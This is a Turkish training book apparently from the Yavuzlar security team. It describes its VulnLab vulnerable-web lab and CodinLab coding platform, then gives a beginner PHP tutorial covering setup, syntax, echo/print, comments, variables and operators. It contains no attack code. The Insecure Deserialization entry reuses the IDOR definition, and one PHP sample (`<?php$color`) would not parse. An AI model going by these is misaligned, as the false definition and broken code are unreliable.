# Yavuzlar

<figure><img src="/files/fNuL602RyA4V1THl4sWz" alt=""><figcaption></figcaption></figure>

[Siber Vatan](https://www.sibervatan.org) programının bir parçası olan [Yavuzlar](https://yavuzlar.org) takımı, 2020 yılında kurularak faaliyete geçmiş ve özellikle web güvenliği ile yazılım geliştirme konularında uzmanlaşan bir takımdır. Misyonumuz, her bir takım üyesini kendi alanında yetkin bir düzeye yükseltmek ve ülkemizin siber güvenlik sektöründeki yetenekli insan gücünü, Türkçe kaynakları ve yerli projeleri artırmak amacıyla çalışmaktır. Bu bağlamda, siber güvenlik alanındaki bilgi birikimimizi kullanarak çalışmakta ve ülkemizi uluslararası düzeyde güvenli bir dijital geleceğe taşıma hedefiyle yoğun çaba harcamaktayız.

Yaptığımız Web Uygulama Güvenliği Laboratuvarı projemiz [VulnLab](https://github.com/Yavuzlar/VulnLab) ile [Blackhat](https://www.blackhat.com) konferansına katılma şansı yakaladık. Aynı zamanda Türkçe kaynakları artırmak ve bir kütüphane oluşturmak amacıyla yazılarımızı paylaşıyoruz.

{% embed url="<https://yavuzlar.org>" %}
yavuzlar.org
{% endembed %}


# VulnLab

<figure><img src="/files/eiArURyYVJd1zVGexhhc" alt=""><figcaption></figcaption></figure>

VulnLab web uygulama güvenliği laboratuvarı, kendini web güvenliği üzerine geliştirmek isteyen herkes için tasarlanmış bir laboratuvardır. Çeşitli web güvenliği zafiyetlerini birebir deneyimleyerek öğrenme fırsatı sunan laboratuvarımız, gerçek dünya senaryolarında karşılaşabileceğiniz birçok güvenlik açığını içermektedir. İki yıl önce, her yıl Amerika'da düzenlenen dünyanın en büyük bilgisayar güvenliği konferansı **Blackhat**'e **VulnLab** projemiz ile katılma fırsatını yakaladık. VulnLab, aynı zamanda **OWASP Vulnerable Web Applications Directory**'de listelenmiştir.

### Neden VulnLab?

VulnLab, İngilizce, Türkçe ve Fransızca olmak üzere 3 dil seçeneği sunmaktadır. Basit kurulumu ile hızlıca bilgisayarınıza kurabilirsiniz. Teorik bilgilerin ötesine geçerek, uygulamalı öğrenme fırsatları sunar. Gerçek dünya senaryolarında karşılaşabileceğiniz güvenlik zafiyetlerini birebir deneyimleyerek hem saldırı hem de savunma tekniklerini öğrenirsiniz. Ayrıca VulnLab'in sunduğu zengin içerik ve çeşitli zafiyetlerle web güvenliği konusunda geniş bir bilgi yelpazesi elde edebilirsiniz.

### Laboratuvarımızdaki Güvenlik Zafiyetleri

VulnLab'de, siber güvenlik dünyasında sıkça karşılaşılan ve önemli riskler barındıran birçok güvenlik açığını deneyimleme fırsatınız var. İşte laboratuvarımızda bulunan bazı güvenlik zafiyetleri:

\- SQL Injection (5 Adet): Veri tabanına dayalı uygulamalara saldırmak için kullanılan bir atak tekniğidir; burada saldırgan SQL dili özelliklerinden faydalanarak standart uygulama ekranındaki ilgili alana yeni SQL ifadelerini ekler.

\- Cross-Site Scripting (XSS) (8 Adet): Diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkân verir.

\- Command Injection (4 Adet): Güvenlik açığı bulunan bir uygulama aracılığıyla ana bilgisayar işletim sisteminde rastgele komutların yürütülmesinin amaçlandığı bir saldırıdır.

\- Insecure Direct Object Reference (IDOR) (7 Adet): Bir uygulama, nesnelere doğrudan erişmek için kullanıcı tarafından sağlanan girdiyi kullandığında ortaya çıkan bir tür erişim denetimi güvenlik açığıdır.

\- Cross-Site Request Forgery (CSRF) (3 Adet): Bir web tarayıcısını, kullanıcının oturum açtığı bir uygulamada istenmeyen bir eylemi yürütmesi için kandıran bir saldırı vektörüdür.

\- XML External Entity (XXE) (1 Adet): XML girdilerini ayrıştıran bir uygulamaya karşı yapılan bir saldırı türüdür. Bu saldırı, harici bir varlığa referans içeren XML girdisi eksik yapılandırılmış bir XML ayrıştırıcısı ile işlendiğinde gerçekleşir.

\- Insecure Deserialization (5 Adet): Bir uygulama, nesnelere doğrudan erişmek için kullanıcı tarafından sağlanan girdiyi kullandığında ortaya çıkan bir tür erişim denetimi güvenlik açığıdır.

\- File Upload (5 Adet): Kullanıcıdan alınan dosyaların tam olarak kontrol edilememesi sonucu ortaya çıkan ve sunucu üzerinde uzaktan kod çalıştırma ile sonuçlanabilecek bir güvenlik açığıdır.

\- File Inclusion (3 Adet): Saldırganın, genellikle web sunucusundaki bir komut dosyası aracılığıyla, uzaktan veya yerel olarak barındırılan bir dosya eklemesine olanak tanıyan güvenlik açığıdır.

\- Race Condition (2 Adet): Yarış Durumu, bir programın doğru çalışmasını engelleyebilecek ve güvenlik zafiyetlerine yol açabilen bir durumu ifade eder. Bu durum, iki veya daha fazla işlemin aynı kaynaklara aynı anda erişmeye çalıştığı, bu erişimin sıralı veya kontrolsüz bir şekilde gerçekleştiği durumlarda ortaya çıkar, ve bu durumda beklenmeyen hatalar veya güvenlik açıkları meydana gelebilir.

\- Broken Authentication (3 Adet): Bozuk kimlik doğrulama, bilgisayar korsanlarının oturum açma güvenliğini atlamasına ve saldırıya uğramış kullanıcının sahip olduğu tüm ayrıcalıklara erişmesine olanak tanıyan bir çevrimiçi platform veya uygulamada bulunan güvenlik açıkları veya zayıflıkları ifade eder.

\- Server-Side Template Injection (SSTI) (2 Adet): Sunucu Tarafı Şablon Enjeksiyonu (SSTI), web uygulamalarındaki güvenlik açıklarından biridir. Bu açık, saldırganın kötü niyetli şablon ifadelerini kullanıcı girişleri aracılığıyla enjekte ederek, sunucu tarafında şablon motorunu etkilemesine ve istenmeyen kodun yürütülmesine neden olabilir. Bu tür saldırılar, uygulama içindeki kodu manipüle ederek hassas bilgilerin sızdırılmasına veya sistem üzerinde istenmeyen eylemlerin gerçekleştirilmesine olanak tanır.

<figure><img src="/files/ppClMko3MCmQYFI0UHCz" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/Yavuzlar/VulnLab>" fullWidth="false" %}
VulnLab
{% endembed %}


# CodinLab

<figure><img src="/files/fhtvb0m7dcnr3sX1M4Ry" alt="Codinlab Logo"><figcaption></figcaption></figure>

## CodinLab nedir?

CodinLab, kullanıcıların sıfırdan programlama öğrenmelerine yardımcı olmak için tasarlanmış açık kaynaklı bir yazılım laboratuvarıdır. Arka uç (back end) olarak [Go programlama dili](https://go.dev/) ve ön uç (front end) için [Next.js](https://nextjs.org/) ile geliştirilmiş olan CodinLab, kullanıcıların çeşitli programlama dillerinin sözdizimini (syntax) ve yapısını öğrenmelerine ve bu dilleri temel seviyede vâkıf olmalarına olanak tanıyan kapsamlı yol haritaları ve uygulamalı laboratuvarlar sağlar.

<figure><img src="/files/6IQNWVRUw3HaxAE0cpGx" alt="Codinlab Home Page"><figcaption></figcaption></figure>

### Neden CodinLab?

CodinLab'i esnek ve taşınabilir yapısıyla hemen kullanmaya başlayabilirsiniz. Proje yeni içeriklerle genişletilebilir ve **Docker Compose** aracılığıyla kolaylıkla ayağa kaldırılabilir, bu da kullanıcıların projeyi kullanmaya başlamasını ve/veya geliştiricilerin projeye katkıda bulunmasını kolaylaştırır. CodinLab **İngilizce** ve **Türkçe** dil seçeneği sunmaktadır. Arayüzün basit ve modüler yapısı, kullanıcının aradığını kolayca bulabilmesini sağlar.

**Roadmap** olarak adlandırılan yol haritaları, istediğiniz dili öğrenmeniz için adım adım bir kılavuz görevi görür. Görevler veri yapıları ve algoritmalar gibi programlamanın temelini oluşturan kavramlara odaklanarak hazırlanmıştır. **Laboratuvarlar** ise kullanıcıya eğitimde geçirdiği sürecinden sonra yol haritalarında kazandığı teorik ve pratik tecrübelerini sınayabileceği bir ortam sunar. Her bir yol haritasındaki görevleri ve laboratuvarları tamamlarken gelişim yolculuğunuzu görselleştirilmiş istatistiklerle takip edebilirsiniz.

### Bulunan Diller

CodinLab kullanıcılara sunduğu genişletilebilir dört programlama diline sahiptir:

* C++
* Python
* Javascript
* Go

### Roadmaps

CodinLab'de her bir programlama dilinin kendine özgü bir yol haritası vardır. Bu harita kullanıcıya programlama dilin kullanımını ve özelliklerini path'ler ile uygulamalı olarak aktarır. Bu alıştırmalar ile kullanıcının dilin yapısı ve kullanımını başlangıçtan ileri seviyeye kadar adım adım kavraması amaçlanır.

<figure><img src="/files/8dABXe2Ip7dNQrc2EdsO" alt="Javascr
ipt Roadmap"><figcaption></figcaption></figure>

### Labs

Laboratuvarlar çeşitli programlama dillerini kullanarak çözebileceğiniz kolaydan zora çeşitli zorluk derecelerine sahip programlama problemleri içerir. Bu laboratuvar görevleri kullanıcının programlama dilini kullanma ve problem çözme becerilerini geliştirmeyi amaçlar.

<figure><img src="/files/wArcKwlyVvcY6bLJwRSI" alt="Labs"><figcaption></figcaption></figure>

CodinLab, programlama öğrenmek isteyenler için güçlü bir başlangıç noktası sunar. Esnek yapısı, çoklu dil desteği ve kullanıcı dostu arayüzü sayesinde hem bireysel öğrenme hem de eğitmenler için eğitim materyali oluşturma süreçlerini kolaylaştırır. Roadmap'ler ile yapılandırılmış öğrenme yolları ve laboratuvarlarla pratik odaklı bir deneyim sunarak, kullanıcıların teorik bilgilerini gerçek dünya problemleriyle birleştirmelerine olanak tanır. Açık kaynaklı yapısı sayesinde topluluk tarafından geliştirilip zenginleştirilebilir, bu da onu sürekli gelişen bir öğrenme platformu haline getirir.

{% embed url="<https://github.com/Yavuzlar/CodinLab>" fullWidth="false" %}
CodinLab
{% endembed %}


# PHP

## 1. PHP Nedir?

PHP, "Hypertext Preprocessor" ifadesinin kısaltması olup, 1994 yılında Rasmus Lerdorf tarafından geliştirilmiş bir sunucu taraflı programlama dilidir. PHP, dinamik web sayfaları oluşturmak için yaygın olarak kullanılır. HTML, CSS ve JavaScript ile birlikte kullanıldığında, kullanıcı etkileşimlerine dinamik tepkiler verebilen güçlü web uygulamaları oluşturmanıza olanak tanır. PHP, açık kaynak kodlu bir yazılımdır, yani herkes tarafından ücretsiz olarak kullanılabilir ve geliştirilebilir. PHP kodları, sunucu üzerinde çalıştırılır ve sonuçlar HTML olarak kullanıcıya gönderilir.

## 2. PHP'nin Tarihçesi

PHP, ilk olarak 1994 yılında Rasmus Lerdorf tarafından kişisel web sitesinin ziyaretçi takibi için bir araç olarak geliştirildi. Bu araç, "Personal Home Page Tools" veya kısaca PHP Tools olarak adlandırıldı. 1995 yılında Lerdorf, PHP'nin ilk sürümünü yayımladı ve açık kaynak kodlu hale getirdi, böylece diğer geliştiriciler de katkıda bulunabildi. 1997 yılında PHP/FI 2.0 sürümü çıktı ve PHP, daha güçlü bir betik dili haline geldi. 1998 yılında, PHP 3.0 sürümü ile birlikte daha geniş kitlelere ulaştı ve "PHP: Hypertext Preprocessor" adını aldı. PHP 4.0, 2000 yılında çıktı ve Zend Engine adında yeni bir motor ile performans ve güvenlik açısından büyük iyileştirmeler getirdi. PHP 5.0, 2004 yılında yayımlandı ve nesne yönelimli programlama (OOP) desteği sağladı. PHP 7.0, 2015 yılında yayımlandı ve önceki sürümlere göre büyük performans iyileştirmeleri sundu. Günümüzde PHP 8.x sürümleri kullanılmaktadır ve sürekli olarak geliştirilmektedir.

## 3. PHP'nin Avantajları

* **Açık Kaynaklı:** PHP, tamamen ücretsizdir ve kaynak kodları herkes tarafından erişilebilir. Bu, geniş bir geliştirici topluluğu tarafından sürekli olarak güncellenip iyileştirildiği anlamına gelir.
* **Sunucu Taraflı:** PHP kodları, sunucuda çalıştırılır ve sonuçlar kullanıcıya HTML olarak gönderilir. Bu, dinamik ve etkileşimli web sayfaları oluşturmayı sağlar.
* **Platform Bağımsız:** PHP, Windows, Linux, macOS gibi farklı işletim sistemlerinde çalışabilir. Ayrıca, Apache, Nginx, IIS gibi çeşitli web sunucuları ile uyumludur.
* **Geniş Veritabanı Desteği:** PHP, MySQL, PostgreSQL, SQLite, Oracle, Microsoft SQL Server gibi birçok veritabanı sistemi ile sorunsuz bir şekilde çalışabilir.
* **Kolay Öğrenme Eğrisi:** PHP'nin öğrenmesi ve kullanması nispeten kolaydır. Geniş dokümantasyon ve çevrimiçi kaynaklar sayesinde hızlı bir şekilde öğrenilebilir.
* **Geniş Topluluk ve Destek:** PHP'nin geniş bir kullanıcı ve geliştirici topluluğu vardır. Bu, çeşitli forumlar, bloglar ve eğitim kaynakları aracılığıyla kolayca yardım ve destek bulabileceğiniz anlamına gelir.
* **Zengin Özellik Seti:** PHP, dosya işlemleri, oturum ve çerez yönetimi, veri doğrulama ve temizleme gibi birçok yerleşik işlevsellik sunar.

## 4. PHP Nasıl Çalışır?

PHP, istemci-sunucu mimarisine dayalı olarak çalışır. İşte PHP'nin çalışma prensibi:

1. **İstemci İsteği:** Bir kullanıcı, web tarayıcısı aracılığıyla bir PHP sayfası talep eder.
2. **Sunucu İşlemi:** Web sunucusu (Apache, Nginx, IIS vb.), talep edilen PHP dosyasını bulur ve PHP motoruna iletir.
3. **PHP Motoru:** PHP motoru, PHP kodlarını yorumlar ve çalıştırır. Bu süreçte, veritabanı sorguları, dosya işlemleri, oturum ve çerez yönetimi gibi işlemler yapılabilir.
4. **HTML Üretimi:** PHP motoru, çalıştırılan kodun sonucunda dinamik HTML çıktıları üretir.
5. **Yanıt Gönderimi:** PHP tarafından üretilen HTML çıktıları, web sunucusu aracılığıyla istemciye (kullanıcı tarayıcısına) geri gönderilir.
6. **Tarayıcı Görüntülemesi:** Kullanıcı tarayıcısı, sunucudan aldığı HTML çıktısını işler ve kullanıcıya gösterir.

Bu süreç, PHP'nin dinamik web sayfaları oluşturma yeteneğini sağlar. Örneğin, bir kullanıcı giriş formu doldurduğunda, PHP bu form verilerini işleyebilir, veritabanında kullanıcı bilgilerini doğrulayabilir ve uygun yanıtı oluşturabilir.

## 5. PHP ile Neler Yapılabilir?

* Dinamik web sayfaları oluşturma
* Veritabanı işlemleri gerçekleştirme
* Form verilerini işleme
* Oturum ve çerez yönetimi
* Dosya okuma/yazma işlemleri
* Web servisleri ve API'ler oluşturma

## 6. PHP'nin Temel Söz Dizimi

PHP kodları, genellikle `<?php ... ?>` etiketleri arasında yazılır. Temel veri türleri, değişkenler ve operatörler ile çalışılır.

## 7. PHP'de Kontrol Yapıları

* **Koşul İfadeleri:** `if`, `else`, `elseif`, `switch`
* **Döngüler:** `for`, `while`, `do-while`, `foreach`

## 8. PHP Fonksiyonları ve Kullanımı

* **Yerleşik Fonksiyonlar:** PHP'nin sunduğu birçok hazır fonksiyon.
* **Kullanıcı Tanımlı Fonksiyonlar:** Kendi fonksiyonlarınızı tanımlayıp kullanabilirsiniz.

## 9. PHP ve Veritabanı Etkileşimi

PHP ile MySQL gibi veritabanlarına bağlanarak veri ekleyebilir, güncelleyebilir, silebilir ve sorgulayabilirsiniz.

## 10. PHP ile Form İşleme

Formlardan gelen verileri almak ve işlemek için `$_POST` ve `$_GET` süper global değişkenleri kullanılır. Veri doğrulama ve temizleme işlemleri yapılır.

## 11. PHP'de Oturum ve Çerez Yönetimi

* **Oturumlar:** `$_SESSION` kullanılarak oturum başlatma ve yönetme.
* **Çerezler:** `setcookie()` fonksiyonu ile çerez oluşturma ve yönetme.

## 12. PHP ile Dosya İşlemleri

Dosya sistemine erişim sağlayarak dosya okuma, yazma, yükleme ve indirme işlemleri yapılabilir.

## 13. PHP Framework'leri

* **Laravel, Symfony, CodeIgniter:** Popüler PHP framework'leri.
* **Avantajları:** Daha hızlı geliştirme, güvenlik ve yapılandırılmış kod.

## 14. PHP Güvenliği

* **SQL Enjeksiyon:** Hazır sorgu kullanımı ve veri temizleme.
* **XSS Saldırıları:** Kullanıcı girdilerini temizleme.
* **Güvenli Kod Yazma:** Güvenli değişken kullanımı ve şifreleme.

## 15. PHP ile İleri Düzey Konular

* **Nesne Yönelimli Programlama (OOP):** Sınıflar ve nesneler ile çalışma.
* **MVC Yapısı:** Model-View-Controller mimarisi ile yapılandırılmış kod.
* **Web Servisleri ve API:** RESTful ve SOAP servisler oluşturma.


# XAMPP kurulumu

XAMPP, Apache Friends tarafından geliştirilen, kolay kullanımlı bir web sunucusu paketidir. XAMPP, Apache, MySQL/MariaDB, PHP ve Perl gibi web geliştirme için gerekli olan bileşenleri içeren ücretsiz ve açık kaynaklı bir yazılımdır.

* **X**: Cross-platform (çoklu platform desteği)
* **A**: Apache (web sunucusu)
* **M**: MySQL (veritabanı yönetim sistemi) veya MariaDB
* **P**: PHP (betik dili)
* **P**: Perl (betik dili)

[Download XAMPP (apachefriends.org)](https://www.apachefriends.org/tr/download.html)

.exe dosyası içinde yer alan herhangi bir dosyayı indirebilirsiniz!

`.exe`, Windows işletim sistemlerinde yürütülebilir dosya formatını belirtir. Bu dosya uzantısı, "executable" kelimesinin kısaltmasıdır ve bilgisayarın doğrudan çalıştırabileceği programları temsil eder.

## XAMPP Nasıl Kullanılır?

1. **İndirme ve Kurulum**:
   * XAMPP'yi Apache Friends web sitesinden indirin ve işletim sisteminize uygun olan sürümü kurun.
2. **Başlatma**:
   * XAMPP kontrol panelini açın ve Apache ve MySQL servislerini başlatın.
3. **Proje Dosyalarını Yerleştirme**:
   * Proje dosyalarınızı `htdocs` klasörüne yerleştirin. Bu klasör genellikle XAMPP'nin kurulu olduğu dizinde bulunur.
4. **Erişim**:
   * Web tarayıcınızı açarak `http://localhost` adresine gidin. Buradan projelerinizi çalıştırabilir ve test edebilirsiniz.

<div align="center"><figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/php2.png" alt=""><figcaption></figcaption></figure></div>

<div align="center"><figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/php3.png" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/php4.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/php5.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/php6.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/php7.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/php8.png" alt=""><figcaption></figcaption></figure>


# VS Code Kurulum

Visual Studio Code (VS Code), Microsoft tarafından geliştirilen, hafif ve güçlü bir kaynak kodu editörüdür. Çok sayıda programlama dilini ve araçlarını destekleyen, kullanıcı dostu bir arayüze sahip olan bu editör, ücretsiz ve açık kaynaklıdır.

## VS Code Nedir?

* **V**: Visual
* **S**: Studio
* **Code**: Kod Düzenleyici

VS Code, kod yazarken size çeşitli özellikler sunar:

* **Kod Tamamlama**: Akıllı kod tamamlama, hataları önlemenize ve kod yazma hızınızı artırmanıza yardımcı olur.
* **Hata Ayıklama**: Entegre hata ayıklama araçları ile kodunuzu test edebilir ve hataları kolayca bulabilirsiniz.
* **Yerleşik Git Desteği**: Git ile entegrasyon sayesinde, kaynak kontrolünü doğrudan editörden yönetebilirsiniz.
* **Uzantılar**: Geniş uzantı desteği ile VS Code'u ihtiyaçlarınıza göre özelleştirebilirsiniz.

## VS Code Nasıl Kurulur?

1. **İndirme**:
   * [VS Code İndir (code.visualstudio.com)](https://code.visualstudio.com/Download) adresine gidin.
   * İşletim sisteminize uygun olan sürümü seçin (Windows, macOS, Linux).
2. **Kurulum (Windows için)**:
   * İndirilen `.exe` dosyasını çalıştırın.
   * Kurulum sihirbazındaki talimatları izleyin.
   * İstenirse, masaüstü kısayolu oluşturmayı seçin.
   * Kurulum tamamlandığında, "Finish" butonuna tıklayın.

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/vs1.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/vs2.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/vs3.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/egitim/.gitbook/assets/php/vs4.png" alt=""><figcaption></figcaption></figure>


# 1.1 Dosya Oluşturma

**Metin Editörü Kullanarak PHP Dosyası Oluşturma**

Metin Editörü:

* Windows Notepad, Notepad++, Sublime Text, Visual Studio Code veya başka bir metin editörünü kullanabilirsiniz.

**Dosyayı Kaydedin**:

* PHP dosyaları için varsayılan dosya uzantısı "`.php`" dir.
* Dosyayı `.php` uzantısı ile kaydedin. Örneğin: `index.php`.

PHP Kodu:

* Yeni bir dosya oluşturalım ve PHP kodumuzu yazalım.
* Örneğin:

```php
<!DOCTYPE html>
<html>
<body>
 
<?php
echo "HEllO BOOTCAMP2024";
?>

</body>
</html>
```

> \[!Neden `htdocs` Klasörü Kullanılır?]
>
> * XAMPP'de dosyaları `htdocs` klasörüne koymamızın nedeni, Apache web sunucusunun varsayılan olarak bu dizini web kök dizini (web root directory) olarak kullanmasıdır.


# 1.2 Syntax (Yazım Kuralları)

## **Temel PHP Sözdizimi**

* Bir PHP betiği belge içinde herhangi bir yere yerleştirilebilir. Bir PHP betiği : *ile başlar ve biter.* **Not:** PHP deyimleri noktalı virgül (;) ile biter.

```php
<?php
// PHP kodu buraya gider
?>
```

## **PHP Büyük/Küçük Harf Duyarlılığı**

* PHP'de anahtar sözcükler, sınıflar, işlevler ve kullanıcı tanımlı işlevler büyük/küçük harfe duyarlı değildir. Örnek ; `ECHO`, :`echo` ile aynıdır!!

```php
<!DOCTYPE html>
<html>
<body>

<?php
ECHO "HEllO BOOTCAMP2024<br>";
echo "HEllO BOOTCAMP2024<br>";
EcHo "HEllO BOOTCAMP2024<br>";
?>

</body>
</html>
```

> \[!NOTE] **Not:** Fakat; Tüm değişken adları büyük/küçük harfe duyarlıdır!

Örnek; `$COLOR` şununla aynı *değildir*:`$color`

```php
<!DOCTYPE html>
<html>
<body>

<?php$color = "Beyaz";
echo "Benim Şemsiyem " . $color . "<br>";
echo "Benim Arabam " . $COLOR . "<br>";
echo "En Sevdiğim Renk " . $coLOR . "<br>";
?>

</body>
</html>
```

## Alıştırma

S1)Bir PHP betiği şu şekilde başlar ve biter:

```php
a) <? 
     //PHP code  
   ?>

b)   <?php  
     //PHP code 
    ?>

 c)  <?php  
     //PHP code 
    ?php>
```

S2)"Merhaba Dünya" çıktısını almak için aşağıdaki kodun eksik kısmını ekleyin.

```php
 [] "Hello World";
```

S3) Lütfen tek satırlı kodu çalıştırın

```php
<?php 
     echo "Merhabadünya"[ ]
?>
```


# 1.3 PHP'de Echo ve Print

## PHP'de `echo` ve `print` Nedir?

PHP'de `echo` ve `print` fonksiyonları, ekrana çıktı vermek için kullanılır. İkisi de benzer işlevleri yerine getirir, ancak aralarında bazı küçük farklar vardır.

### **`echo`**

* **Kullanım:** `echo`, bir veya daha fazla dizeyi ekrana yazdırmak için kullanılır.
* **Özellikler:** Daha hızlıdır çünkü dönüş değeri yoktur.
* **Parametreler:** Birden fazla parametre alabilir (virgülle ayrılmış).

### **`print`**

* **Kullanım:** `print`, bir dizeyi ekrana yazdırmak için kullanılır.
* **Özellikler:** `print` bir değeri döndürür (1), bu nedenle fonksiyon olarak kullanılabilir.
* **Parametreler:** Sadece bir parametre alabilir.

## **`echo` Kullanımı**

```php
`<!DOCTYPE html>
<title>PHP echo ve print</title>
</head> 
<body>   
<?php 
    // Tek bir dize yazdırma     
    echo "Merhaba Dünya!";      
    // Birden fazla dize yazdırma     
    echo "Merhaba ". "Dünya!". " PHP'de echo kullanımı.";      
    // HTML ile birlikte echo kullanımı  
    echo "<h1>PHP echo ile Başlık</h1>";     
    echo "<p>Bu bir paragraf.</p>";   
      ?> 
</body>
</html>`
```

örnek 1:

```php
<?php 
    echo 'Hello World!';
	echo("Hi");
?>
```

örnek 2:

```php
<?php 
    echo 'Bottcamp ' . '2024';
?>
```

örnek 3:

```php
<?php 
    $color = "red";
	echo "My car is " . $color . "<br>";
	echo "My house is " . $COLOR . "<br>";
	echo "My boat is " . $coLOR . "<br>";
?>
```

örnek 4:

```php
<?php
	echo 'Yavuzlar </br> Sibervatan';
?>
```

örnek 5:

```php
<?php 
    echo '<p style="background:blue;"> Yavuzlar Sibervatan <p>';
?>
```

## **`print` Kullanımı**

```php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP echo ve print</title>
</head>
<body>
    <?php
    // Tek bir dize yazdırma
    print "Merhaba Dünya!";

    // HTML ile birlikte print kullanımı
    print "<h1>PHP print ile Başlık</h1>";
    print "<p>Bu bir paragraf.</p>";

    // Değişken kullanarak print
    $text = "Bu bir değişken.";
    print $text;
    ?>
</body>
</html>
```

### `echo` ve `print` Arasındaki Farklar

* `echo` birden fazla parametre alabilir, `print` sadece bir parametre alabilir.
* `echo` daha hızlıdır çünkü dönüş değeri yoktur.
* `print` her zaman 1 döndürür, bu nedenle bir ifade içinde kullanılabilir.


# 1.4 PHP'deki yorumlar

PHP'de yorum satırları, kodun çalışmasını engellemek veya açıklama eklemek için kullanılır. Yorumlar, tek satırlık veya çok satırlık olabilir.

## Tek Satırlık Yorumlar

Tek satırlık yorumlar, kodun yalnızca bir satırını etkiler ve `//` veya `#` ile başlar.

```php
// Bu bir tek satırlık yorumdur.
echo "Merhaba Dünya!"; // Bu da bir yorumdur. 
# Bu da bir tek satırlık yorumdur.
```

## Çok Satırlık Yorumlar

Çok satırlık yorumlar, birden fazla satırı etkiler ve `/*` ile başlayıp `*/` ile biter.

```php
/* Bu bir
çok satırlı 
yorumdur
*/ 
echo "Merhaba Dünya!";
```

## Kodu Yok saymak için Yorumlar

Kodu yok saymak veya geçici olarak devre dışı bırakmak için yorumları kullanabilirsiniz. Bu, kodun belirli bölümlerini çalıştırmadan önce veya hata ayıklama sırasında yardımcı olabilir.

```php
<?php
// Bu satır yoksayılacak ve çalıştırılmayacak 
// echo "Bu satır çalıştırılmayacak";
/* 
Bu blok yoksayılacak ve çalıştırılmayacak echo "Bu satır çalıştırılmayacak"; echo "Bu satır da çalıştırılmayacak"; 
*/ 
echo "Sadece bu satır çalıştırılacak"; 
?>
```

Yorumlar, kodun okunabilirliğini artırır ve diğer geliştiricilerin kodunuzu daha iyi anlamasına yardımcı olur. Aynı zamanda, kodun belirli kısımlarını geçici olarak devre dışı bırakmak için kullanışlıdır.

## Alıştırma

S1)Hangisi yasal bir PHP yorumu DEĞİLDİR:

a)`# _comment goes here_`

b)`// _comment goes here_`

c)`'' _comment goes here_`

d)`/* _comment goes here */_`

S2)Aşağıdaki kod satırlarının yürütülmediğinden emin olmak için PHP çok satırlı açıklama sözdizimini kullanın.

```php
[ ]
x = 5;
print(x);
[ ]
```


# 1.5 PHP Değişkenleri

PHP'de değişkenler, bir `$` işareti ile başlar ve bir adla devam eder. Değişkenler, değerleri depolamak ve bu değerleri işlemek için kullanılır. PHP'de değişken adları büyük/küçük harf duyarlıdır ve bir harf veya alt çizgi ile başlamalıdır.

## **PHP Değişkenleri Oluşturma**

Değişkenlerin değerlerini ekrana yazdırmak için `echo` veya `print` fonksiyonlarını kullanabilirsiniz.

```php
$x = 5;
$y = "özgür"
```

> \[!NOTE]
>
> **Not**: Bir değişkene metin değeri atadığınızda, değerin etrafına tırnak işaretleri koyun.

> \[!NOTE]
>
> Not: Diğer programlama dillerinden farklı olarak PHP'de değişken bildirimi için bir komut yoktur. Değişken, ona ilk kez bir değer atadığınız anda yaratılır.

> \[!Bilgi]
>
> **Bilgi**:Değişkenleri veri depolamak için kullanılan kaplar olarak düşünün.

## PHP Değişkenleri

Bir değişkenin kısa adı veya daha açıklayıcı bir adı olabilir.

```php
$x , $y , $age , $carname , $total_volume
```

**PHP değişkenleri için kurallar:**

* Bir değişken `$` işaretiyle başlar ve ardından değişkenin adı gelir
* Değişken adı bir harf veya alt çizgi karakteriyle başlamalıdır
* Değişken adı bir sayıyla başlayamaz
* Değişken adı yalnızca alfasayısal karakterler ve alt çizgiler (A-z, 0-9 ve \_) içerebilir
* Değişken adları büyük/küçük harfe duyarlıdır ve iki farklı değişkendir

```php
`$age``$AGE`
```

PHP'de değişken adlarının büyük/küçük harfe duyarlı olduğunu unutmayın!

## Çıktı Değişkenleri

`echo`PHP ifadesi genellikle ekrana veri çıkışı yapmak için kullanılır.

Aşağıdaki örnek, metin ve değişkenin çıktısının nasıl alınacağını gösterir:

```php
$txt = "Yavuzlar";
echo "I love $txt!";
```

Aşağıdaki echo'da birleştirme örneği, yukarıdaki örnekle aynı çıktıyı üretecektir:

```php
$txt = "Yavuzlar";
echo "I love " . $txt . "!";
```

**A1)** Kendi adınızı ve yaşını değişken atayarak echo ile ekrana yazdın.

```php

<?php 
$name = "Özgür Karakuş"; 
$age = 23;  
echo "Ad: " . $name . "<br>"; // Ad: John Doe 
print "Yaş: " . $age . "<br>"; // Yaş: 30 
?>
```


# 1.6 Operatörler (Operators)

1. **Aritmetik Operatörler**:
   * `+` Toplama
   * `-` Çıkarma
   * `*` Çarpma
   * `/` Bölme
   * `%` Modülüs (bölümden kalan)

```php
    $a = 10; $b = 3; 
    echo $a + $b; // 13 
    echo $a - $b; // 7 
    echo $a * $b; // 30 
    echo $a / $b; // 3.3333... 
    echo $a % $b; // 1
```

2. **Atama Operatörleri**:
   * `=` Değer atama
   * `+=` Toplama ve atama
   * `-=` Çıkarma ve atama
   * `*=` Çarpma ve atama
   * `/=` Bölme ve atama

```php
    $x = 5; 
    $x += 3; // $x = $x + 3; -> 8 
    $y = 10; 
    $y -= 5; // $y = $y - 5; -> 5
```

3. **Karşılaştırma Operatörleri**:
   * `==` Eşitse
   * `!=` Eşit değilse
   * `>` Büyüktür
   * `<` Küçüktür
   * `>=` Büyük eşittir
